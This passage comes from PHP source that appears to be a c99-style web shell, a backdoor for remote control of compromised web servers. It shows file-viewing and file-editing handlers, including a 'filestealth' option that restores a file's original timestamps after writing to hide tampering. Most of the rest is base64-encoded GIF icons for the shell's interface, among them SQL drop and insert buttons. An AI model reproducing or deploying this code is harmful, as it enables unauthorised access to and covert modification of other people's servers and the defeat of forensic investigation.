    foreach ($sizes as $v)
    {
     echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
     if ($imgsize != $v ) {echo $v;}
     else {echo "<u>".$v."</u>";}
     echo "</a>&nbsp;&nbsp;&nbsp;";
    }
    echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
   }
   else
   {
    @ob_clean();
    $ext = explode($f,".");
    $ext = $ext[count($ext)-1];
    header("Content-type: ".$inf["mime"]); 
    readfile($d.$f);
    exit;
   }
  }
  elseif ($ft == "edit")
  {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can't write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("\r\n",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
 }
}
}
else
{
 @ob_clean();
 $images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"refresh"=>
"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
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"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
